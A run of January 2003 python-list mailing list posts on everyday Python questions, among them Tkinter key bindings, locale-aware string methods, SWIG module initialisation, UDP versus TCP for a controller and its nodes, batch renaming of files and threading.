> initialize the bindings to pass an argument to the handler so it
> can tell who invoked it.  I've tried something like this, but to no
> avail:
> 
> for x in range(len(array)):
> 	y = array[x]	
> 	widget.bind('<F' + str(x+1) + '>', lambda arg=y : CommonHandler(arg))
> 
> Is this general approach valid?
> 
> CommonHandler() in my case, happens to be an already existing routine
> which is just called as CommonHandler(x, default=TRUE).  It, in turn,
> calls os.path.abspath(x).  When this happens, I get the following
> error:
> 
>        AttributeError: Event instance has no attribute '__getitem__'
> 
> This makes me believe that my general approach is correct, but something
> about how I am calling the routine from the binding is different than
> the normal call I make to CommonHandler.
> 
> One other question - is it possible to use the lambda form above to
> pass more than a single argument?
> 
> TIA,
> -- 
> ------------------------------------------------------------------------------
> Tim Daneliuk
> tundra at tundraware.com
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


Not sure I can answer your exact questions but here is another way 
to do what (I think...) you want.



from Tkinter import *



class CommonHandler:
    def __init__(self, arg, default=TRUE):
        self.arg = arg
        self.default = default

    def __call__(self, event):
##        os.path.abspath(self.arg)
        print self.arg


#~ now for that loop...

root=Tk()


array = "abcdefg"

for x in range(len(array)):
    y = array[x]
    root.bind("<F%d>" %(x+1), CommonHandler(y))


root.mainloop()









From martin at v.loewis.de  Sun Jan 19 17:42:20 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 19 Jan 2003 23:42:20 +0100
Subject: String methods understanding anything but ASCII?
In-Reply-To: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>
References: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>
Message-ID: <b0f9k4$n7v$00$1@news.t-online.com>

Magnus Lie Hetland wrote:
> I just wondered -- is there hope that string methods such as upper()
> or capitalize() will ever understand anything other than ascii? 

They already do that, after you invoke locale.setlocale:

 >>> import locale
 >>> locale.setlocale(locale.LC_ALL,"")
'German_Germany.1252'
 >>> print "?".upper()
?

 > How about, e.g. iso8859-1 (which does seem to be
> the default encoding)? 

It's not. Python doesn't really have a "default encoding"; the 
traditional string type really represents byte strings, not character 
strings. For purposes of character classification, its encoding is the 
one that the platforms "C" locale uses, i.e. typically ASCII; this 
changes with the current locale. For purposes of conversion to Unicode, 
the "system default encoding" is also "ascii", unless overridden by the 
administrator.

> So -- is there any hope of this? Or are there any convenient ways of
> dealing with it, or perhaps a library somewhere?

As Irmen explains, you really should use Unicode strings for that - they 
support uppercasing for all languages of the world, simultaneously.

> Opinions? Does this warrant a PEP? Are there applications and/or
> problems I haven't thought of?

Please, no. Everything that needs to be there already is, and yes, there 
are problems you haven't thought of.

Regards,
Martin





From gleki at gol.ge  Mon Jan 27 04:09:10 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Mon, 27 Jan 2003 10:09:10 +0100
Subject: imaging lib
Message-ID: <3E34F736.5EEE2CA@gol.ge>

Hi!
As of my knowledge, de facto imaging library is PIL.
Are there some other more advanced libs? With, say, PDF support?
TIA,
Giorgi




From bsder at allcaps.org  Sat Jan 11 03:25:44 2003
From: bsder at allcaps.org (Andrew P. Lentvorski, Jr.)
Date: Sat, 11 Jan 2003 00:25:44 -0800 (PST)
Subject: [Python-Dev] [ann] Minimal Python project
In-Reply-To: <20030110154121.F1568@prim.han.de>
Message-ID: <Pine.LNX.4.44.0301110010020.6100-100000@mail.allcaps.org>

On Fri, 10 Jan 2003, holger krekel wrote:

> We announce a mailinglist dedicated to developing
> a "Minimal Python" version.  Minimal means that

This will be really great for OS distributions and system administration.  
Being able to compile Python with a simple make/gcc combo and not
requiring a full development environment would be wonderful.

I look forward to seeing this.

-a






From tundra at tundraware.com  Fri Jan 10 12:30:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 10 Jan 2003 17:30:07 GMT
Subject: tkinter: Passing arguments when binding keys to functions
In-Reply-To: <mailman.1042191206.28149.python-list@python.org>
References: <72pkva.lsr.ln@boundary.tundraware.com> <mailman.1042191206.28149.python-list@python.org>
Message-ID: <tovmva.2s51.ln@boundary.tundraware.com>

Martin Franklin wrote:
> On Thu, 2003-01-09 at 21:20, Tim Daneliuk wrote:
> 
>>I have an array of 12 items that I want to associate with the 12 Function
>>keys.  I want to call a common handler function for all 12 keys and
>>initialize the bindings to pass an argument to the handler so it
>>can tell who invoked it.  I've tried something like this, but to no
>>avail:
<SNIP>

> 
> 
> Not sure I can answer your exact questions but here is another way 
> to do what (I think...) you want.
> 

<SNIP>

Hmm, your way does work, up to a point.  For some reason, if I run
this code and press, say, F10 first (which should do nothing), the
program produces no further output even when pressing one of the
bound keys.

However, I have played with this a bit more and can now ask a more
specific question.  It concerns my original formulation of the
binding:

for x in range(len(array)):
     y = array[x]	
     widget.bind('<F' + str(x+1) + '>', lambda arg=y : CommonHandler(arg))

In playing with this, I've come to realize that what is happening
is that CommonHandler is being called properly at the time a
function key is pressed, however, *the Function keypress event is
being passed to it, NOT the value of y*.  This is what's confusing
CommonHandler because it is expecting a string, not an event object.

So, I guess the heart of my question becomes, "Why does this formulation
pass the event object, not the array member to CommonHandler()>"

(Clearly, I have a lot to learn about lambda constructions ...)


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From jon at csh.rit.edu  Sat Jan  4 15:48:48 2003
From: jon at csh.rit.edu (Jon Parise)
Date: Sat, 4 Jan 2003 15:48:48 -0500
Subject: php vs python
In-Reply-To: <av7feu$9vq$1@news.storm.ca>
References: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk> <av7feu$9vq$1@news.storm.ca>
Message-ID: <20030104204847.GB6682@csh.rit.edu>

On Sat, Jan 04, 2003 at 08:16:30PM +0000, Michael P. Soulier wrote:

> On Fri, 3 Jan 2003 21:01:40 +0100, Joe <soulchaos at hotmail.com> wrote:
> > What can Phyton do for me that php cant't?
> 
>     I've used PHP for some time now, and frankly, it's a kludge. Python is a
> very well designed, well thought-out language. PHP is a kludge. 
 
I'll let that statement lay, but I will take the opportunity to plug
my "Python in PHP" extension:

    http://www.csh.rit.edu/~jon/projects/pip/

-- 
Jon Parise (jon at csh.rit.edu)  ::  http://www.csh.rit.edu/~jon/




From jbs+usenet at bad-poetry.net  Mon Jan 13 22:31:05 2003
From: jbs+usenet at bad-poetry.net (Josh)
Date: Mon, 13 Jan 2003 21:31:05 -0600
Subject: c++ swig python
References: <3E22CDFF.4010007@uni-koblenz.de>
Message-ID: <AQWdnUu758bmGb6jXTWcqQ@giganews.com>

Hallo,

Sie m?ssen eine Initialisierung Funktion (inittestfiles) verursachen 
damit Swig richtig arbeitet. Die Initialisierung Funktion wird benannt,
 wann immer Sie ein python Modul importieren. Sie registriert auch 
neue Methoden mit Python. Traurig f?r den schlechten Deutschen, 
dieser war maschinell ?bersetzt. 


-jbs 


Oleg Seifert wrote:

> Hallo,
> 
> ich habe eine einfache Klasse in c++ geschrieben.
> Dann habe ich mit Hilfe von SWIG aus dieser Klasse einen Python-Modul
> (dll-Bibliothek) erstellt. [testfiles.dll + testfiles.lib]
> 
> Ich habe diese Bibliothek mir einer kleiner c++-Anwendung testen k?nnen.
> Aber wenn ich diesen Modul in Python importiere ("import testfiles")
> kriege ich die Fehlermeldung:
> 
>  >>> import testfiles
> Traceback (most recent call last):
>    File "<stdin>", line 1, in ?
> ImportError: dynamic module does not define init function (inittestfiles)
>  >>>
> 
> Woran k?nnte es liegen ? Was mache ich falsch ?
> 
> Danke im Voraus.
> 
> mfg,
>    Oleg





From samSPAMMENOT at twmi.rr.com  Sun Jan 26 15:39:57 2003
From: samSPAMMENOT at twmi.rr.com (Sam Marrocco)
Date: Sun, 26 Jan 2003 20:39:57 GMT
Subject: Python newbie looking into communications...
In-Reply-To: <3E3354E0.8225F233@engcorp.com>
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> <3E3354E0.8225F233@engcorp.com>
Message-ID: <xIXY9.125569$GF.31647688@twister.columbus.rr.com>


Peter Hansen wrote:

> 
> What headaches do you feel are involved in "maintaining" TCP connections?
> 
> So far as I know, there is *nothing* that must be done by application-
> level code to "maintain" an open connection, except perhaps send and
> receive data using it...
> 


Perhaps "maintaining" was the wrong term to use....

Since I've been barraged with "don't use UDP" replies, here's a little 
background on what the app does. Be gentle--this has been my first 
experience with machine-machine communications.

-The Controller app runs on Windows, and is written (mainly) in vb.net.
-The Node app is a small program that must be portable to windows, 
linux, and irix. I chose python for a bunch of reasons, the main one 
being portability. The node app may run on dozens (or more) machines at 
once.

I started designing the system with TCP in mind--the controller 
launches, establishes a connection with each node, and communications 
can commence. But soon I realized that:

If the Controller was a TCP Server and the nodes were TCP Clients, the 
Controller/server had to be running first, then the Nodes/Clients. If 
the Controller/Server was restarted (which happens often)then things 
went awry. Also, the Nodes/clients do not necessarily know *who* the 
Controller/Server is, so they receive that information within their data 
from the Controller/Server--then send info back to that machine. Nodes 
and Controller can be rebooted at any time, and the apps restarted.

When I started playing with UDP, I realized that, yes, the "lack of 
guarantee" that the data would get there was an issue--which I could 
correct for by including acknowledgments and a little handshaking 
between machines. But it seemed well worth it for the ability to have a 
"server-less" communications arrangement that didn't gag when the server 
machine disappeared. UDP peer-peer comm seemed a worthy compromise. I'm 
not dealing with large amounts of data--usually small strings, and they 
aren't pushed around the network very fast....usually a dialog might be 
something like:

Controller: MachineA, run this calculation.
MachineA: Okay, controller, I'm doing that calculation.
Controller: Displays information on what MachineA is doing.
MachineA: Okay, controller, I'm done. Here's the result.
Controller: Okay MachineA. Displays info.
process repeats.....

In my perfect world, all I really wanted was a way to say
SendToMachine(machinename, data)
and an event to catch data
DataReceived(MachineName, data)

But the most important thing was that any machine on the network could 
be restarted at any time, *without* having to have a server app always 
running.

-- 
==================================================================
Sam J. Marrocco
Sr. Visual Effects Artist/R&D
Travelling Pictures/GTN
Inferno, Flame, Houdini, Maya, All that cool stuff!
"The fact that no one understands you doesn't make you an artist."
==================================================================




From hockeymike at houston.rr.com  Tue Jan 14 19:55:15 2003
From: hockeymike at houston.rr.com (hockeymike)
Date: 14 Jan 2003 16:55:15 -0800
Subject: Desperately seeking programmer who knows python and Visual basic!
Message-ID: <30ce357a.0301141655.133c00fc@posting.google.com>

Could someone please translate the following statement from Python to
its equivalent in Visual Basic please??


points = 0

for level in range(1,100):

diff = int(level + 300 * math.pow(2, float(level)/7) )

points += diff

str = "Level %d = %d" % (level + 1, points / 4)

print str

It was supposed to be used for an experience point calculator for an
online game, and I want to use it....however, i dont know
Python....Thank you if you can give me any help



From lac at strakt.com  Tue Jan 28 14:08:20 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 28 Jan 2003 20:08:20 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from "pu" <pu@myRealBox.com> 
   of "Tue, 28 Jan 2003 19:49:10 +0100." <3e36d04e_2@news.vo.lu> 
References: <3e36d04e_2@news.vo.lu> 
Message-ID: <200301281908.h0SJ8KjL022458@ratthing-b246.strakt.com>

> Hi all,
> 
> I don't want to start a thread comparing the Python and C++ languages, but
> one question bothers me. Using Python, you can of course develop very
> quickly due to high level constructs and the absence of compilation. On the
> other hand, so-called "builder IDEs" or "RAD-IDE" (i.e. Borland C++ builder,
> Microsoft Visual C++) also promise to allow you to develop quickly, even in
> a less high-level language.
> 
> Therefore, my question is:
> 
> Is, or under which circumstances is the time which can be gained by using a
> RAD-IDE equivalent to the time gained by using Python directly?
> 
> -Patrick

My guess is 'never'.  The problem with developing in C++ is not that
you don't have an IDE that makes development faster, but that in C++
there are so many ways to shoot yourself in the foot that you have
to spend forever re-reading your code to make sure that it doesn't
interact in nasty, horrible ways with other people's code.  Or you
spend your life debugging other people's badly designed templates.
Or on the phone to Borland saying that you have found another bug in
the destructors ... or ....

I don't think that it is possible to write an IDE that makes me as
productive in C++ as I am in Python with ed(1).  That is because almost
all my time spent in C++ come from some other place than actually writing
code from scratch.  Other people's milage may vary.

Laura Creighton




From hansgeunsmeyer at earthlink.net  Sat Jan  4 12:43:32 2003
From: hansgeunsmeyer at earthlink.net (hg)
Date: 4 Jan 2003 09:43:32 -0800
Subject: Python threading tutorial?
References: <mailman.1041679867.22000.python-list@python.org>
Message-ID: <95959723.0301040943.1e01ed25@posting.google.com>

Gerrit Holl <gerrit at nl.linux.org> wrote in message news:<mailman.1041679867.22000.python-list at python.org>...
> Hello,
> 
> I am looking for a tutorial on threading using Python. I do know Python, but
> I don't know threading. 

Aahz has a slideshow plus example scripts:
http://starship.python.net/crew/aahz/OSCON2001/index.html

> I don't really understand threading. If I have multiple threads, can these
> threads interact? 

Yes. They can share data, communicate in various ways, one thread can
start another, wait for another, etc.

> When should I use threads, and when shouldn't I? In which
> cases are threads useful, and in which cases does the phrase on Regular
> Expressions apply ("problem -> regex -> two problems")?
> 
> My case is an exercise application in which multiple object are randomly
> wandering through a field, but when they meet they interact and go in
> opposite directions. All those objects will be class instances and need to
> "live" seperately, only interacting when they meet. Can threads help me in
> this particular problem, or do threads have (very) different uses?

I think this problem is a natural problem for threads. I mean, using
threads for this problem can make your program shorter and clearer.
You're simulating a bunch of independent but identical agents, so each
one could live in its own thread.

Hans



From zypin at sympatico.ca  Sat Jan  4 18:49:50 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 18:49:50 -0500
Subject: Distributing Python apps
References: <mailman.1041720609.1880.python-list@python.org>
Message-ID: <mqKR9.8564$8M3.1432708@news20.bellglobal.com>

David LeBlanc wrote:
> Taking a quick glance at just Python, I don't think your goal of putting
> Python + app + data on a single 1.44mb floppy is realistic.
>
> Python installer on windows is 6+mb.
>
> Installed Python is at least 1+mb just for dll's and libs (not including
doc
> and examples etc.), of which some parts may not be needed by your app.
> Additional specialist dll's and scripts needed by your app not included in
> that estimate.
>
> In terms of a download, I'm betting that 2+mb for a runtime only including
> application bytes (binaries and doc) is more likely.

If that's the state of Python downloads, then may I suggest that the Python
experts here must quickly figure out how to change that.

>From what I've seen, Python people are B2B.  If you're selling an
application to a business client, then it may not matter to you if you have
to download and install Python on every desktop.  Sure, just do it, while
you're in there, putting the boots to them - and charge them for your time.

But, how can I deliver my application to my customers with the least cost?

>
> I suggest a more practical and realistic goal is to plan on a CD
> distribution. It's probably actually cheaper to distribute on CD then on
> floppy these days anyway.

I don't want to deliver on a CD or a floppy.  I want to deliver by ftp.

>
> David LeBlanc
> Seattle, WA USA

Norm





From yarlevub at aol.com  Sun Jan 12 16:52:04 2003
From: yarlevub at aol.com (YarLevub)
Date: 12 Jan 2003 21:52:04 GMT
Subject: How does a C API-function returns a list  to python
References: <3E21DD3F.9000507@v.loewis.de>
Message-ID: <20030112165204.02396.00000115@mb-mh.aol.com>

>YarLevub wrote:
>> The simplest way is to return a string containing the data and then use the
>> array module to make it available to your Python program.
>
>Do people really do such things?
>
>Regards,
>Martin

I do it to keep from having to write as much C code as you showed in your
response to the OP.

Of course, your solution has the advantage that users of the module don't need
to deal with the underlying binary representation of the data.

In my case I am the user and I tend to wrap the low level up with either a
class or function in Python.  I would rather keep my C code really simple
because it is harder to debug than Python.

Ray



From mcfletch at rogers.com  Mon Jan  6 23:50:28 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 06 Jan 2003 23:50:28 -0500
Subject: renaming files
In-Reply-To: <3e1a5058_3@nopics.sjc>
References: <3e1a5058_3@nopics.sjc>
Message-ID: <3E1A5C94.6040102@rogers.com>

Look at the documentation for the glob module (wildcard-matching is 
called "globbing" in some fields).  Also see the os.rename and 
os.renames functions...

 >>> import glob, os
 >>> for file in glob.glob( r"p:\*.py" ):
...     whatever()

I don't know for sure what you're doing with sed there.  It looks like a 
regex replace of "test" with final, if that's the case, do:

    os.rename( file, file.replace( 'test', 'final', 1) )

That 1 is to signal to replace to only replace the first "test" 
sub-string, so that:

    "test-Greatest-Canadian-Hero.mp3"

won't become:

    "final-Greafinal-Canadian-Hero.mp3"

HTH,
Mike

Hilbert wrote:

>Hello,
>
>I'm new to python and trying to learn the language by doing some everyday
>tasks in it.
>I wanted to convert the following simple csh script to python:
>
>foreach i (test-????.*)
>  mv $i `echo $i | sed 's/test/final/'`
>end
>
>I can't find no easy way. I don't want to use a system call to 'ls', so got
>a list
>of files with os.listdir(), but how can I get a selective list?
>I can match "test-" with string.find, but I'm really looking for test-????.*
>(csh wildcards).
>
>Any suggestions?
>
>Thanks!
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From patrickw106 at yahoo.com.au  Mon Jan 13 01:07:11 2003
From: patrickw106 at yahoo.com.au (Patrick W)
Date: 13 Jan 2003 17:07:11 +1100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <87hecdvb00.fsf@tao.localdomain>

Christian Tismer <tismer at tismer.com> writes:

> There is no official name, yet.
> 
> Anyone having some [...] suggestions?

A three letter palindrome that is both onomatapoeic (sp?) and also
connotes 'smallness':

pip. (Python in Python).











From mcfletch at rogers.com  Wed Jan 15 16:58:31 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 15 Jan 2003 16:58:31 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <1042650999.27819.51.camel@software1.logiplex.internal>
References: <LNBBLJKPBEHFEDALKOLCMEKEDIAB.tim.one@comcast.net> <1042650999.27819.51.camel@software1.logiplex.internal>
Message-ID: <3E25D987.6020307@rogers.com>

Gee, one little misunderstanding with the PSU ops and suddenly Cliff's 
sicking the whole PSF legal establishment on me :) .

Honestly, Cliff, I didn't _know_ they'd find those Perl scripts!  I was 
just worried about you skulking about with SQL and thought they'd send a 
counsellor or something, I didn't know they'd raid the place!  And 
really, was the re-conditioning so bad?  I mean, you're a productive 
member of society now, right?  Isn't that what we all want? To serve the 
Python.  To be one with the Python.  To have our selves swallowed by the 
Ultimate Python.

Be at peace, In the Glory of the Guido,
Mike

Cliff Wells wrote:

>On Tue, 2003-01-14 at 20:52, Tim Peters wrote:
>  
>
>>That doesn't mean he won't be sued <wink>.
>>    
>>
>
>But no one's asked if he *should* be sued.
>
>I think he should, so at least we would have a definitive reference on
>these sort of issues.  We could simply point people at case #2143214 and
>be done with it.
>
>If the PSF wins, they get all their icons back, plus Mike has to draw a
>new one for damages.
>
>If Mike wins, he gets unrestricted access to all PSF icons and the PSF
>is restricted from innovating new icons unless they allow users the
>chance to create their own.  Icon "bundling" will be explicitly
>disallowed.
>
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From max at alcyone.com  Thu Jan 30 23:05:08 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 20:05:08 -0800
Subject: Python Success Stories or Nightmares
References: <mailman.1043967059.7713.python-list@python.org>
Message-ID: <3E39F5F4.2A9E5765@alcyone.com>

Mongryong wrote:

> Let's hear people's success stories with Python and why they did the
> switch.

I've mentioned parts of my story in bits and pieces over the years. 
Here's the longest and biggest chunk from the "Truth in dating" thread
earlier in the month (which I've pasted below).

I've even gotten paid to use Python; at my last job, we used it for an
automated build testing process that would test every single changelist
to see if it had broken on any of the four platforms we were working on
(Windows, Macintosh, Linux, and Solaris, though I was only involved with
the latter two, being an ex-Windows an ex-Macintosh guy), and I used
Python with PIL with a smattering of Tkinter to build a system that
would automatically render a series of documents to raster images, and
then diff them against a QA-blessed set of images; after a run, one
could interactively go through each of the failed tests and see the
before and after images, as well as an XOR of the two to highlight the
difference, and (if memory serves) a grayscale representation of the
alpha channel (it's easy for the alpha channel to be different and it
not be obvious).

. 

Andrew McGregor wrote:

> We (University of Canterbury Physics, at the time) had been using a
> lot of
> Fortran (of course), C and Lisp, with a little Perl and lots of
> shellscripts for glue.  When Java arrived, the general impression was
> that
> it was a cute toy.  That's still basically my impression, it's mostly
> useful for UI work and areas where performance doesn't matter (there's
> lots
> of those, which is why Java is popular).
> 
> I'm just irritated I didn't find Python myself until '01.

Same here (I found Python in early-mid 2000).  I'm an experienced
programmer, but had long wanted a high-level language bridging the gap
between shell scripts and full-blown C or C++ programs.  I had
begrudgingly learned and used Perl to fill that gap, but quite frankly
even while I was using it didn't enjoy it.  (The object orientation in
Perl, ugh.)

I constantly learn new languages, even ones I know I'll never use, to
broaden by knowledge base, and one day picked up _Programming Python_
which I used for light bathroom reading.  Even though I didn't much care
for the book (but as an already experienced programmer it didn't stop
me), it soon became apparent that Python was the language I was looking
for.  My first project was a socket-based bot framework for a
proprietary talker, and my second was a full-blown implementation of a
chess adjudicator.

"That'll do, Python."

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From a.schmolck at gmx.net  Thu Jan 23 14:07:41 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 23 Jan 2003 19:07:41 +0000
Subject: Is there really a default source encoding?
In-Reply-To: <003801c2c30b$28f5d010$21795418@dell1700>
References: <003801c2c30b$28f5d010$21795418@dell1700>
Message-ID: <yfsn0lr1y82.fsf@black132.ex.ac.uk>

Brian Quinlan <brian at sweetapp.com> writes:

> > Why not just utf-8? At least the move to ascii might be a (roundabout)
> > step in that direction...
> 
> Because making the default encoding UTF-8 would break the majority of
> source files that include non-ASCII characters.

Whereas making it ASCII won't? (Having Latin-1 for a certain period of time I
can understand, the switch to ASCII *afterwards* not).

alex





From fardal at corvus.phys.uvic.ca  Tue Jan 14 07:21:14 2003
From: fardal at corvus.phys.uvic.ca (Mark Fardal)
Date: 14 Jan 2003 04:21:14 -0800
Subject: Memory leak in TableIO?
Message-ID: <yj1hecb53d1.fsf@corvus.phys.uvic.ca>

Hi,

I use Mike Miller's TableIO to read ascii tables, since it's very
fast.  However, I have noticed that when I use it repeatedly to read
large data files, it soaks up more and more memory (as shown with top)
and eventually crashes.  This is using TableIO v 1.7, Python 2.2 on
Red Hat linux.  Has anyone else had this problem or know of a solution?  
I glanced over the code in _tableio.c and didn't see anything
obviously wrong, but C extensions are probably beyond my competence.

thanks,
Mark Fardal




From aahz at pythoncraft.com  Mon Jan 27 10:46:05 2003
From: aahz at pythoncraft.com (Aahz)
Date: 27 Jan 2003 10:46:05 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net>
Message-ID: <b13k7t$jve$1@panix2.panix.com>

In article <HJ3Z9.987$P64.136 at nwrddc02.gnilink.net>,
Carl Banks  <imbosol at vt.edu> wrote:
>Martin Maney wrote:
>>
>> This seems to me to be, very simply, an area where Python's
>> intentionally chosen limitations make it awkward to compose a clear and
>> robust solution, at least in the general case.
>
>You've voiced you opinion about this before, if I remember correctly.
>Python is not going to add an assignment expression just so you can do
>this stupid, irrelevant thing without a little awkwardness.  Live with
>it.

You're misreading Martin.  He's *not* necessarily suggesting that
assignment in if be permitted; it's actually more a damning of the lack
of switch.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From martin at v.loewis.de  Tue Jan 21 03:13:25 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 21 Jan 2003 09:13:25 +0100
Subject: classmethod() not inherited?
References: <mailman.1042710569.22446.python-list@python.org> <m38yxl8k7y.fsf@mira.informatik.hu-berlin.de> <b0iff4$4v6$1@panix2.panix.com>
Message-ID: <m3iswikjiy.fsf@mira.informatik.hu-berlin.de>

aahz at pythoncraft.com (Aahz) writes:

> Why are you using 'self' instead of 'cls'?

For no particular reason. If I had thought about it, I had written
"klasse".

Regards,
Martin




From vangale at fastmail.fm  Thu Jan  9 05:01:31 2003
From: vangale at fastmail.fm (Van Gale)
Date: Thu, 09 Jan 2003 10:01:31 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <ef7a350b.0301081249.232b8746@posting.google.com> <mailman.1042095148.4015.python-list@python.org>
Message-ID: <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com>

"Laura Creighton" <lac at strakt.com> wrote in message
news:mailman.1042095148.4015.python-list at python.org...
> > "Tupoi" <EDB30 at msn.com> wrote in message news:<3e1ba232_6 at nopics.sjc>...
> >
> > The question is meaningless.  All undergrad CS is about the same.
> > Differences in programs don't show themselves until you get to
> > graduate level.
> >
> > That said, the (generally accepted) best (US) schools for graduate CS
> > are Carnagie Mellon and MIT.
> > --
> > http://mail.python.org/mailman/listinfo/python-list
>
> A frightening thought, if true, from the Land that claims to value
> individualism ...
>
> Laura Creighton

I don't know what to think of this comment.  Such a broad sweeping flame
based on a broad statement that isn't necessarily true in the first place.
Are you saying colleges are individuals?  Or maybe you think there should be
15 million "best" ways to teach computer science so that we can all have
different individual approaches to programming.  Each of us should invent
our own programming language and only use that?

Additionally, believe it or not, we still have elements of socialism in this
country, at least if you consider unions socialist, and the teachers union
is one of the strongest.

The original statement is debatable.  I think there can be differences.  The
school I attended had a single lowly VAX with barely enough disk space for
projects of any size.  I had to erm... use modem banks at major universities
to get access to Arpanet.  My school didn't even know what Arpanet was and
finally got a "shared connect?on" somehow with Carnegie-Mellon in the mid
90's.  In other words they had pity on us and gave us a sliver of their
bandwidth.  Instead of using BSD if I went to Berkeley for example, I had to
use VMS with DEC BASIC as the only installed language.  Of course I was
reasonably happy about that because many large universities were still
pushing FORTRAN and PL/I on IBM mainframes.

Van






From adalke at mindspring.com  Thu Jan  9 05:25:41 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 03:25:41 -0700
Subject: Do pythons like sugar?
In-Reply-To: <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>
Message-ID: <avjj5d$8cn$1@slb3.atl.mindspring.net>

Afanasiy wrote:
>>A few languages provide syntax sugar for dealing with
>>this by allowing you to localize the class scope.
>>
>>Does Python? eg. `with self do:`

> So the answer is a definitive no? I want to do things as I have them,
> I don't want to change my design just to be able to type 'self' less.

It's a definite no.  From previous accounts, said sugar is hiding
rat poison.  It's advantages are slight to its disadvantages.  Eg,
for your case it would have hid a poor implementation rather than
yield a better one.

When I do a lot of "self." references it's mostly with a set of
initializations.  In that case I just leave "self." in my paste
buffer.

> Is there any tricky one-liner that brings object members in scope?

Yes but I won't tell.  You shouldn't use it.


> P.S. The specific implementation above should be considered irrelevant.

In order to add a new feature, especially one which affect the
language like that, then you'll need to come up with a pressing example.

If there isn't one, then there's no need for a change, eh?

					Andrew
					dalke at dalkescientific.com




From Kyler at news.Lairds.org  Thu Jan  9 11:25:57 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Thu, 09 Jan 2003 16:25:57 GMT
Subject: Python and GIS
References: <avgqm7$3qn$00$1@news.t-online.com> <6qy95vvg5r.fsf@salmakis.intevation.de> <v1ooov6mf21f40@corp.supernews.com>
Message-ID: <skj0f-m78.ln1@news.lairds.org>

claird at lairds.com (Cameron Laird) writes:

>>> The user should zoom in and out. In the smallest
>>> view needed you should see towns. Some
>>> towns should be "clickable". If you click on
>>> a town data from our database should be displayed.

MapIt!
	http://www.mapit.de/index.en.html
(I haven't used it.)

I also recommend checking out FreeGIS.
	http://freegis.org/index.en.html

--kyler



From mike at bindkey.com  Mon Jan 20 16:19:38 2003
From: mike at bindkey.com (Mike Rovner)
Date: Mon, 20 Jan 2003 13:19:38 -0800
Subject: passig lifetime control to C++
References: <8de825c2.0301200859.4b89cee3@posting.google.com>
Message-ID: <b0hp30$aqm$1@main.gmane.org>

"jochen" <jochen.heckl at novatrix.de> wrote in message
news:8de825c2.0301200859.4b89cee3 at posting.google.com...
> I have class EventQueue that takes control over the lifetime of Events
> that are passed to it. Now I wan't to export this functionality to
> python using boost_python.

It's better to ask boost_python questions in c++-sig mailing list.

> int EventQueue::PostEvent( Event* i_pEvent )
>
> to python, how do I keep Python from deleting the Event after the
> script has finished? Can this be done with call policies ?

By default it will create new Event object with Event(*i_pEvent), so you can
delete it.
If you expose it as
.def("PostEvent", &EventQueue::PostEvent, with_custodian_and_ward<1,2>())
then Event will not be deleted while EventQueue is alive.







From gcash at luncheonmeat.cfl.rr.com  Wed Jan  1 17:33:36 2003
From: gcash at luncheonmeat.cfl.rr.com (gcash)
Date: Wed, 01 Jan 2003 22:33:36 GMT
Subject: saving Tix ComboBox dropdowns
References: <el802ge9.fsf@cfl.rr.com> <3e132f2a.1126548@news.look.ca>
Message-ID: <r8bw1ow1.fsf@cfl.rr.com>

support @ internetdiscovery.com (Mike Clarkson) writes:

> I'm not sure why  you are trying to do what you are trying to do

Well, set things up so that when the user starts the program up, the
dropdowns are still there, and not blank.  They're entries where it's
pretty much the same picklist all the time, so you type it in once, then
just pick it the rest of the time.  In this app, it probably won't grow to
more than a dozen entries.

